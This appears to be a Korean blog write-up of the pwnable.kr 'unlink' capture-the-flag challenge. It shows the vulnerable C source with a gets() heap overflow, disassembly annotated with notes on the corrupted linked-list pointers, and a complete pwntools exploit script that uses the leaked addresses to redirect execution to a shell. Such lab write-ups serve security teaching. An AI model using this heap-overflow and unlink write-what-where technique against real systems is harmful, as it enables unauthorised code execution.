#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}//0x080484eb
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
0x804b410:A 0x804b428:B 0x804b440:C 이다! 이렇게 박힌다!!
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A); 0xbffff434
printf("here is heap address leak: %p\n", A); 0x0804b410
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf); get는 0x0804b418부터 써진다! 이 곳에 0x080484eb를 적는다.
// exploit this unlink!
unlink(B);
return 0;
}
unlink가 이루어질때 어떤 일이 일어나는지 확인해보자
unlink부분을 보자
0x0804b418 1 0x0804b41c 2 0x0804b420 3 0x0804b424 4 0x0804b428 5(B) 0x0804b42c 6(B->bk)
0x0804b42c->0x0804b410A->0x0804b428B->0x0804b440C
0x08048504 <+0>: push ebp
0x08048505 <+1>: mov ebp,esp
0x08048507 <+3>: sub esp,0x10
0x0804850a <+6>: mov eax,DWORD PTR [ebp+0x8] eax=5번째
0x0804850d <+9>: mov eax,DWORD PTR [eax+0x4] : eax= 6번째 속에 있는 것(조작가능) (B->bk, 즉 A)
0x08048510 <+12>: mov DWORD PTR [ebp-0x4],eax : 0x0804b410 A (6) 조작한값A이 0xbffff414에 들어간다.
0x08048513 <+15>: mov eax,DWORD PTR [ebp+0x8] eax=5번째
0x08048516 <+18>: mov eax,DWORD PTR [eax] : eax=5번째 속에 있는 것(조작가능)(즉 C)
0x08048518 <+20>: mov DWORD PTR [ebp-0x8],eax : 0x0804b440 C (5) 조작한값C이 0xbffff410에 들어간다.
0x0804851b <+23>: mov eax,DWORD PTR [ebp-0x8] : eax=C(조작)
0x0804851e <+26>: mov edx,DWORD PTR [ebp-0x4] : edx=A(조작)
0x08048521 <+29>: mov DWORD PTR [eax+0x4],edx : A(조작)가 C(조작)+0x4한 곳에 들어간다.
0x08048524 <+32>: mov eax,DWORD PTR [ebp-0x4] : eax=A(조작)
0x08048527 <+35>: mov edx,DWORD PTR [ebp-0x8] : edx=C(조작)
0x0804852a <+38>: mov DWORD PTR [eax],edx : C(조작)가 A(조작)에 들어간다.
0x0804852c <+40>: nop
0x0804852d <+41>: leave
0x0804852e <+42>: ret
5C+0x4 bk <-A6
6A <-C5
즉, A의 next가 C가 되고, C의 before가 A가 된다.
A<->C가 되어 B는 쏙 빠지게 된다.
이 unlink를 이용하여 원하는 곳에 원하는 값을 넣을 수 있다!!
하지만, shell()의 주소 0x080484eb를 이용하면 안된다.
왜냐하면, 코드부분이 덮어지면 세폴이 뜨기 때문이다.
일단, get()부분에서 0x804b418에 써지기 시작하고, 힙 오버플로우를 이용하여 A와 C를 바꿔버린다.
unlink가 끝난 뒤의 main함수를 이용합시댜!
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add esp,0x10
0x080485fa <+203>: mov eax,0x0
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
get()할떄 처음에 0x80484eb를 써서 0x804b418:0x80484eb가 되게 한다.
ret에 들어가는 esp를 0x804b418이 되게 한다.
ecx=0x804b41c가 되게 한다.
ebp-0x4에 0x804b41c가 적히게 한다.
여기서, ebp-0x4는 0xbffff444
0xbffff444에 0x804b41c를 적는다.
즉, 5번째 요소가 0xbffff440, 6번째 요소가 0x804b41c
처음에 stack이 0xbffff434, heap이 0x0804b410이었으므로,
leak한 0xbffff434+c한 것이 5번째, 0x804b410+c한 것이 6번째 에 오버플로우시킨다.
간단히!
from pwn import*
p=process('/home/unlink/unlink')
p.recvuntil("leak: 0x")
address1=p.recv(8)
p.recvuntil("leak: 0x")
address2=p.recv(8)
shell=0x80484eb
payload =p32(shell)
payload+="BBBB"
payload+="CCCC"
payload+="DDDD"
payload+=p32(int(address1,16)+12)
payload+=p32(int(address2,16)+12)
payload+='\n'
p.write(payload)
p.interactive()
p.close()
끝!!!
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
flag (0) | 2018.09.03 |
---|---|
uaf (0) | 2016.12.24 |
brainfuck (8) | 2016.11.06 |